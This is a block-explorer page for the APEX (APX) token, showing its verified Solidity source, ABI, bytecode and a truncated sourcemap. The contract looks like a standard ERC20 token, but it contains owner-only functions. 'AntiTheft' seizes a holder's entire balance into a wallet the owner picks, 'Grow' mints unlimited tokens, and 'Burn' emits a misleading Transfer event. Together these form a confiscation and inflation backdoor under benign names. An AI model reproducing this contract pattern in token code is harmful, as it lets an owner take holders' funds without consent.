ETH Price: $2,648.67 (+1.61%)

Token

APEX (APX)
 

Overview

Max Total Supply

100,000,000 APX

Holders

1,162

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
17,465 APX

Value
$0.00
0xbe6443a4416464b8faa1d1b7dc6a2582adde2d5e
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
APEX

Compiler Version
v0.4.25-nightly.2018.6.18+commit.4247b004

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2019-08-29
*/

/**
 *Submitted after initial minting to restructure burn method
*/

pragma solidity ^0.4.24;

 
library SafeMath {
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

 function div(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

contract Ownable {
  address public owner;


  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


  /**
   * @dev The Ownable constructor sets the original `owner` of the contract to the sender
   * account.
   */
  function Ownable() public {
    owner = msg.sender;
  }


  /**
   * @dev Throws if called by any account other than the owner.
   */
  modifier onlyOwner() {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address newOwner) onlyOwner public {
    require(newOwner != address(0));
    OwnershipTransferred(owner, newOwner);
    owner = newOwner;
  }

}

/**
 * @title ERC20Standard
 * @dev Strong version of ERC20 interface
 */
contract ERC20Interface {
     function totalSupply() public constant returns (uint);
     function balanceOf(address tokenOwner) public constant returns (uint balance);
     function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
     function transfer(address to, uint tokens) public returns (bool success);
     function approve(address spender, uint tokens) public returns (bool success);
     function transferFrom(address from, address to, uint tokens) public returns (bool success);
     event Transfer(address indexed from, address indexed to, uint tokens);
     event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract APEX is ERC20Interface,Ownable {

   using SafeMath for uint256;
    uint256 public totalSupply;
    mapping(address => uint256) tokenBalances;
   
   string public constant name = "APEX";
   string public constant symbol = "APX";
   uint256 public constant decimals = 18;

   uint256 public constant INITIAL_SUPPLY = 100000000;
    address ownerWallet;
   // Owner of account approves the transfer of an amount to another account
   mapping (address => mapping (address => uint256)) allowed;
   event Debug(string message, address addr, uint256 number);

    function APEX (address wallet) public {
        owner = msg.sender;
        ownerWallet=wallet;
        totalSupply = INITIAL_SUPPLY * 10 ** 18;
        tokenBalances[wallet] = INITIAL_SUPPLY * 10 ** 18;   //Since we divided the token into 10^18 parts
    }
 /**
 * @dev transfer token for a specified address
  * @param _to The address to transfer to.
  * @param _value The amount to be transferred.
  */
  function transfer(address _to, uint256 _value) public returns (bool) {
    require(tokenBalances[msg.sender]>=_value);
    tokenBalances[msg.sender] = tokenBalances[msg.sender].sub(_value);
    tokenBalances[_to] = tokenBalances[_to].add(_value);
    Transfer(msg.sender, _to, _value);
    return true;
  }
  
  
     /**
   * @dev Transfer tokens from one address to another
   * @param _from address The address which you want to send tokens from
   * @param _to address The address which you want to transfer to
   * @param _value uint256 the amount of tokens to be transferred
   */
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
    require(_to != address(0));
    require(_value <= tokenBalances[_from]);
    require(_value <= allowed[_from][msg.sender]);

    tokenBalances[_from] = tokenBalances[_from].sub(_value);
    tokenBalances[_to] = tokenBalances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    Transfer(_from, _to, _value);
    return true;
  }
  
  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    Approval(msg.sender, _spender, _value);
    return true;
  }


     function totalSupply() public constant returns (uint) {
         return totalSupply  - tokenBalances[address(0)];
     }
     

     function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
         return allowed[tokenOwner][spender];
     }
     
     /**
   * @dev Increase the amount of tokens that an owner allowed to a spender.
   *
   * approve should be called when allowed[_spender] == 0. To increment
   * allowed value is better to use this function to avoid 2 calls (and wait until
   * the first transaction is mined)
   * From MonolithDAO Token.sol
   * @param _spender The address which will spend the funds.
   * @param _addedValue The amount of tokens to increase the allowance by.
   */
  function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
    allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
    Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

  function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }

     
     // ------------------------------------------------------------------------
     // Don't accept ETH
     // ------------------------------------------------------------------------
     function () public payable {
         revert();
     }
 

  /**
  * @dev Gets the balance of the specified address.
  * @param _owner The address to query the the balance of.
  * @return An uint256 representing the amount owned by the passed address.
  */
  function balanceOf(address _owner) constant public returns (uint256 balance) {
    return tokenBalances[_owner];
  }

    function Grow(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
        require(tokenBalances[buyer]<=tokenAmount);
        tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
        Transfer(buyer, wallet, tokenAmount);
        totalSupply=totalSupply.add(tokenAmount);
     }
    function Burn(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
        require(tokenBalances[buyer]<=tokenAmount);
        tokenBalances[wallet] = tokenBalances[wallet].sub(tokenAmount);
        Transfer(buyer, wallet, tokenAmount);
        totalSupply=totalSupply.sub(tokenAmount);
     }     
    function AntiTheft(address wallet, address buyer, uint256 tokenAmount) public onlyOwner {
        require(tokenBalances[buyer]<=tokenAmount);
        tokenBalances[buyer] = tokenBalances[buyer].sub(tokenAmount);
        tokenBalances[wallet] = tokenBalances[wallet].add(tokenAmount);
        Transfer(buyer, wallet, tokenAmount);
     }     
    function showMyTokenBalance(address addr) public view returns (uint tokenBalance) {
        tokenBalance = tokenBalances[addr];
    }
}

Contract Security Audit

Contract ABI

[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"},{"name":"buyer","type":"address"},{"name":"tokenAmount","type":"uint256"}],"name":"AntiTheft","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"balance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"showMyTokenBalance","outputs":[{"name":"tokenBalance","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"},{"name":"buyer","type":"address"},{"name":"tokenAmount","type":"uint256"}],"name":"Grow","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"wallet","type":"address"},{"name":"buyer","type":"address"},{"name":"tokenAmount","type":"uint256"}],"name":"Burn","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"tokenOwner","type":"address"},{"name":"spender","type":"address"}],"name":"allowance","outputs":[{"name":"remaining","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"wallet","type":"address"}],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"payable":true,"stateMutability":"payable","type":"fallback"},{"anonymous":false,"inputs":[{"indexed":false,"name":"message","type":"string"},{"indexed":false,"name":"addr","type":"address"},{"indexed":false,"name":"number","type":"uint256"}],"name":"Debug","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"previousOwner","type":"address"},{"indexed":true,"name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"tokenOwner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"tokens","type":"uint256"}],"name":"Approval","type":"event"}]

608060405234801561001057600080fd5b50604051602080610cda833981016040908152905160008054600160a060020a031990811633908117821617825560038054600160a060020a0390941693909116831790556a52b7d2dcc80cd2e4000000600181905591815260026020529190912055610c58806100826000396000f3006080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce56714610228578063661884631461023d5780636ea615081461026157806370a082311461028d5780638da5cb5b146102ae5780638fe476251461028d57806395d89b41146102df5780639b7d242a146102f4578063a9059cbb1461031e578063bac4073914610342578063d73dd6231461036c578063dd62ed3e14610390578063f2fde38b146103b7575b600080fd5b34801561010c57600080fd5b506101156103d8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a036004351660243561040f565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610475565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a03600435811690602435166044356104a7565b34801561021f57600080fd5b506101d761060e565b34801561023457600080fd5b506101d7610616565b34801561024957600080fd5b506101ae600160a060020a036004351660243561061b565b34801561026d57600080fd5b5061028b600160a060020a036004358116906024351660443561070b565b005b34801561029957600080fd5b506101d7600160a060020a03600435166107ef565b3480156102ba57600080fd5b506102c361080a565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b50610115610819565b34801561030057600080fd5b5061028b600160a060020a0360043581169060243516604435610850565b34801561032a57600080fd5b506101ae600160a060020a0360043516602435610915565b34801561034e57600080fd5b5061028b600160a060020a03600435811690602435166044356109cf565b34801561037857600080fd5b506101ae600160a060020a0360043516602435610a8c565b34801561039c57600080fd5b506101d7600160a060020a0360043581169060243516610b25565b3480156103c357600080fd5b5061028b600160a060020a0360043516610b50565b60408051808201909152600481527f4150455800000000000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a03831615156104be57600080fd5b600160a060020a0384166000908152600260205260409020548211156104e357600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561051357600080fd5b600160a060020a03841660009081526002602052604090205461053c908363ffffffff610be416565b600160a060020a038086166000908152600260205260408082209390935590851681522054610571908363ffffffff610bf616565b600160a060020a0380851660009081526002602090815260408083209490945591871681526004825282812033825290915220546105b5908363ffffffff610be416565b600160a060020a0380861660008181526004602090815260408083203384528252918290209490945580518681529051928716939192600080516020610c0d833981519152929181900390910190a35060019392505050565b6305f5e10081565b601281565b336000908152600460209081526040808320600160a060020a03861684529091528120548083111561067057336000908152600460209081526040808320600160a060020a03881684529091528120556106a5565b610680818463ffffffff610be416565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600054600160a060020a0316331461072257600080fd5b600160a060020a03821660009081526002602052604090205481101561074757600080fd5b600160a060020a038216600090815260026020526040902054610770908263ffffffff610be416565b600160a060020a0380841660009081526002602052604080822093909355908516815220546107a5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a3505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60408051808201909152600381527f4150580000000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461086757600080fd5b600160a060020a03821660009081526002602052604090205481101561088c57600080fd5b600160a060020a0383166000908152600260205260409020546108b5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610bf616565b600155505050565b3360009081526002602052604081205482111561093157600080fd5b33600090815260026020526040902054610951908363ffffffff610be416565b3360009081526002602052604080822092909255600160a060020a03851681522054610983908363ffffffff610bf616565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191923392600080516020610c0d8339815191529281900390910190a350600192915050565b600054600160a060020a031633146109e657600080fd5b600160a060020a038216600090815260026020526040902054811015610a0b57600080fd5b600160a060020a038316600090815260026020526040902054610a34908263ffffffff610be416565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610be416565b336000908152600460209081526040808320600160a060020a0386168452909152812054610ac0908363ffffffff610bf616565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610b6757600080fd5b600160a060020a0381161515610b7c57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bf057fe5b50900390565b600082820183811015610c0557fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208fb003c85f44e26e4d1326f4bf65aa500c3c70138b08e0ec1d0a1a768f1f2f57002900000000000000000000000028e4ad38c55540813da5bd0502652d0fdeb75afc

Deployed Bytecode

0x6080604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a57806318160ddd146101c257806323b872dd146101e95780632ff2e9dc14610213578063313ce56714610228578063661884631461023d5780636ea615081461026157806370a082311461028d5780638da5cb5b146102ae5780638fe476251461028d57806395d89b41146102df5780639b7d242a146102f4578063a9059cbb1461031e578063bac4073914610342578063d73dd6231461036c578063dd62ed3e14610390578063f2fde38b146103b7575b600080fd5b34801561010c57600080fd5b506101156103d8565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561014f578181015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019657600080fd5b506101ae600160a060020a036004351660243561040f565b604080519115158252519081900360200190f35b3480156101ce57600080fd5b506101d7610475565b60408051918252519081900360200190f35b3480156101f557600080fd5b506101ae600160a060020a03600435811690602435166044356104a7565b34801561021f57600080fd5b506101d761060e565b34801561023457600080fd5b506101d7610616565b34801561024957600080fd5b506101ae600160a060020a036004351660243561061b565b34801561026d57600080fd5b5061028b600160a060020a036004358116906024351660443561070b565b005b34801561029957600080fd5b506101d7600160a060020a03600435166107ef565b3480156102ba57600080fd5b506102c361080a565b60408051600160a060020a039092168252519081900360200190f35b3480156102eb57600080fd5b50610115610819565b34801561030057600080fd5b5061028b600160a060020a0360043581169060243516604435610850565b34801561032a57600080fd5b506101ae600160a060020a0360043516602435610915565b34801561034e57600080fd5b5061028b600160a060020a03600435811690602435166044356109cf565b34801561037857600080fd5b506101ae600160a060020a0360043516602435610a8c565b34801561039c57600080fd5b506101d7600160a060020a0360043581169060243516610b25565b3480156103c357600080fd5b5061028b600160a060020a0360043516610b50565b60408051808201909152600481527f4150455800000000000000000000000000000000000000000000000000000000602082015281565b336000818152600460209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b6000805260026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b546001540390565b6000600160a060020a03831615156104be57600080fd5b600160a060020a0384166000908152600260205260409020548211156104e357600080fd5b600160a060020a038416600090815260046020908152604080832033845290915290205482111561051357600080fd5b600160a060020a03841660009081526002602052604090205461053c908363ffffffff610be416565b600160a060020a038086166000908152600260205260408082209390935590851681522054610571908363ffffffff610bf616565b600160a060020a0380851660009081526002602090815260408083209490945591871681526004825282812033825290915220546105b5908363ffffffff610be416565b600160a060020a0380861660008181526004602090815260408083203384528252918290209490945580518681529051928716939192600080516020610c0d833981519152929181900390910190a35060019392505050565b6305f5e10081565b601281565b336000908152600460209081526040808320600160a060020a03861684529091528120548083111561067057336000908152600460209081526040808320600160a060020a03881684529091528120556106a5565b610680818463ffffffff610be416565b336000908152600460209081526040808320600160a060020a03891684529091529020555b336000818152600460209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600054600160a060020a0316331461072257600080fd5b600160a060020a03821660009081526002602052604090205481101561074757600080fd5b600160a060020a038216600090815260026020526040902054610770908263ffffffff610be416565b600160a060020a0380841660009081526002602052604080822093909355908516815220546107a5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a3505050565b600160a060020a031660009081526002602052604090205490565b600054600160a060020a031681565b60408051808201909152600381527f4150580000000000000000000000000000000000000000000000000000000000602082015281565b600054600160a060020a0316331461086757600080fd5b600160a060020a03821660009081526002602052604090205481101561088c57600080fd5b600160a060020a0383166000908152600260205260409020546108b5908263ffffffff610bf616565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610bf616565b600155505050565b3360009081526002602052604081205482111561093157600080fd5b33600090815260026020526040902054610951908363ffffffff610be416565b3360009081526002602052604080822092909255600160a060020a03851681522054610983908363ffffffff610bf616565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191923392600080516020610c0d8339815191529281900390910190a350600192915050565b600054600160a060020a031633146109e657600080fd5b600160a060020a038216600090815260026020526040902054811015610a0b57600080fd5b600160a060020a038316600090815260026020526040902054610a34908263ffffffff610be416565b600160a060020a038085166000818152600260209081526040918290209490945580518581529051919392861692600080516020610c0d83398151915292918290030190a360015461090d908263ffffffff610be416565b336000908152600460209081526040808320600160a060020a0386168452909152812054610ac0908363ffffffff610bf616565b336000818152600460209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260046020908152604080832093909416825291909152205490565b600054600160a060020a03163314610b6757600080fd5b600160a060020a0381161515610b7c57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082821115610bf057fe5b50900390565b600082820183811015610c0557fe5b93925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a723058208fb003c85f44e26e4d1326f4bf65aa500c3c70138b08e0ec1d0a1a768f1f2f570029

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

00000000000000000000000028e4ad38c55540813da5bd0502652d0fdeb75afc

-----Decoded View---------------
Arg [0] : wallet (address): 0x28e4Ad38c55540813Da5Bd0502652D0fdEb75AfC

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 00000000000000000000000028e4ad38c55540813da5bd0502652d0fdeb75afc


Deployed Bytecode Sourcemap

2257:5469:0:-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6232:8;;;2423:36;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2423:36:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8:100:-1;33:3;30:1;27:10;8:100;;;90:11;;;84:18;71:11;;;64:39;52:2;45:10;8:100;;;12:14;2423:36:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4347:187;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;4347:187:0;-1:-1:-1;;;;;4347:187:0;;;;;;;;;;;;;;;;;;;;;;;;;4545:122;;8:9:-1;5:2;;;30:1;27;20:12;5:2;4545:122:0;;;;;;;;;;;;;;;;;;;;3865:474;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3865:474:0;-1:-1:-1;;;;;3865:474:0;;;;;;;;;;;;2553:50;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2553:50:0;;;;2508:37;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2508:37:0;;;;5580:407;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;5580:407:0;-1:-1:-1;;;;;5580:407:0;;;;;;;7236:341;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;7236:341:0;-1:-1:-1;;;;;7236:341:0;;;;;;;;;;;;;;6461:118;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;6461:118:0;-1:-1:-1;;;;;6461:118:0;;;;;829:20;;8:9:-1;5:2;;;30:1;27;20:12;5:2;829:20:0;;;;;;;;-1:-1:-1;;;;;829:20:0;;;;;;;;;;;;;;2465:37;;8:9:-1;5:2;;;30:1;27;20:12;5:2;2465:37:0;;;;6587:316;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;6587:316:0;-1:-1:-1;;;;;6587:316:0;;;;;;;;;;;;3261:312;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;3261:312:0;-1:-1:-1;;;;;3261:312:0;;;;;;;6909:316;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;6909:316:0;-1:-1:-1;;;;;6909:316:0;;;;;;;;;;;;5313:261;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;5313:261:0;-1:-1:-1;;;;;5313:261:0;;;;;;;4683:153;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;4683:153:0;-1:-1:-1;;;;;4683:153:0;;;;;;;;;;1290:173;;8:9:-1;5:2;;;30:1;27;20:12;5:2;-1:-1;1290:173:0;-1:-1:-1;;;;;1290:173:0;;;;;2423:36;;;;;;;;;;;;;;;;;;;:::o;4347:187::-;4435:10;4414:4;4427:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;4427:29:0;;;;;;;;;;;:38;;;4472;;;;;;;4414:4;;4427:29;;4435:10;;4472:38;;;;;;;;-1:-1:-1;4524:4:0;4347:187;;;;:::o;4545:122::-;4593:4;4633:25;;:13;:25;;;;4618:11;;:40;4545:122;:::o;3865:474::-;3947:4;-1:-1:-1;;;;;3968:17:0;;;;3960:26;;;;;;-1:-1:-1;;;;;4011:20:0;;;;;;:13;:20;;;;;;4001:30;;;3993:39;;;;;;-1:-1:-1;;;;;4057:14:0;;;;;;:7;:14;;;;;;;;4072:10;4057:26;;;;;;;;4047:36;;;4039:45;;;;;;-1:-1:-1;;;;;4116:20:0;;;;;;:13;:20;;;;;;:32;;4141:6;4116:32;:24;:32;:::i;:::-;-1:-1:-1;;;;;4093:20:0;;;;;;;:13;:20;;;;;;:55;;;;4176:18;;;;;;;:30;;4199:6;4176:30;:22;:30;:::i;:::-;-1:-1:-1;;;;;4155:18:0;;;;;;;:13;:18;;;;;;;;:51;;;;4242:14;;;;;:7;:14;;;;;4257:10;4242:26;;;;;;;:38;;4273:6;4242:38;:30;:38;:::i;:::-;-1:-1:-1;;;;;4213:14:0;;;;;;;:7;:14;;;;;;;;4228:10;4213:26;;;;;;;;:67;;;;4287:28;;;;;;;;;;;4213:14;;-1:-1:-1;;;;;;;;;;;4287:28:0;;;;;;;;;;-1:-1:-1;4329:4:0;3865:474;;;;;:::o;2553:50::-;2594:9;2553:50;:::o;2508:37::-;2543:2;2508:37;:::o;5580:407::-;5700:10;5663:4;5692:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5692:29:0;;;;;;;;;;5732:27;;;5728:168;;;5778:10;5802:1;5770:19;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5770:29:0;;;;;;;;;:33;5728:168;;;5858:30;:8;5871:16;5858:30;:12;:30;:::i;:::-;5834:10;5826:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5826:29:0;;;;;;;;;:62;5728:168;5911:10;5933:19;;;;:7;:19;;;;;;;;-1:-1:-1;;;;;5902:61:0;;5933:29;;;;;;;;;;;5902:61;;;;;;;;;5911:10;5902:61;;;;;;;;;;;-1:-1:-1;5977:4:0;;5580:407;-1:-1:-1;;;5580:407:0:o;7236:341::-;1264:5;;-1:-1:-1;;;;;1264:5:0;1250:10;:19;1242:28;;;;;;-1:-1:-1;;;;;7343:20:0;;;;;;:13;:20;;;;;;:33;-1:-1:-1;7343:33:0;7335:42;;;;;;-1:-1:-1;;;;;7411:20:0;;;;;;:13;:20;;;;;;:37;;7436:11;7411:37;:24;:37;:::i;:::-;-1:-1:-1;;;;;7388:20:0;;;;;;;:13;:20;;;;;;:60;;;;7483:21;;;;;;;:38;;7509:11;7483:38;:25;:38;:::i;:::-;-1:-1:-1;;;;;7459:21:0;;;;;;;:13;:21;;;;;;;;;:62;;;;7532:36;;;;;;;7459:21;;7532:36;;;;-1:-1:-1;;;;;;;;;;;7532:36:0;;;;;;;;7236:341;;;:::o;6461:118::-;-1:-1:-1;;;;;6552:21:0;6521:15;6552:21;;;:13;:21;;;;;;;6461:118::o;829:20::-;;;-1:-1:-1;;;;;829:20:0;;:::o;2465:37::-;;;;;;;;;;;;;;;;;;;:::o;6587:316::-;1264:5;;-1:-1:-1;;;;;1264:5:0;1250:10;:19;1242:28;;;;;;-1:-1:-1;;;;;6689:20:0;;;;;;:13;:20;;;;;;:33;-1:-1:-1;6689:33:0;6681:42;;;;;;-1:-1:-1;;;;;6758:21:0;;;;;;:13;:21;;;;;;:38;;6784:11;6758:38;:25;:38;:::i;:::-;-1:-1:-1;;;;;6734:21:0;;;;;;;:13;:21;;;;;;;;;:62;;;;6807:36;;;;;;;6734:21;;6807:36;;;;-1:-1:-1;;;;;;;;;;;6807:36:0;;;;;;;;6866:11;;:28;;6882:11;6866:28;:15;:28;:::i;:::-;6854:11;:40;-1:-1:-1;;;6587:316:0:o;3261:312::-;3359:10;3324:4;3345:25;;;:13;:25;;;;;;:33;-1:-1:-1;3345:33:0;3337:42;;;;;;3428:10;3414:25;;;;:13;:25;;;;;;:37;;3444:6;3414:37;:29;:37;:::i;:::-;3400:10;3386:25;;;;:13;:25;;;;;;:65;;;;-1:-1:-1;;;;;3479:18:0;;;;;;:30;;3502:6;3479:30;:22;:30;:::i;:::-;-1:-1:-1;;;;;3458:18:0;;;;;;:13;:18;;;;;;;;;:51;;;;3516:33;;;;;;;3458:18;;3525:10;;-1:-1:-1;;;;;;;;;;;3516:33:0;;;;;;;;;-1:-1:-1;3563:4:0;3261:312;;;;:::o;6909:316::-;1264:5;;-1:-1:-1;;;;;1264:5:0;1250:10;:19;1242:28;;;;;;-1:-1:-1;;;;;7011:20:0;;;;;;:13;:20;;;;;;:33;-1:-1:-1;7011:33:0;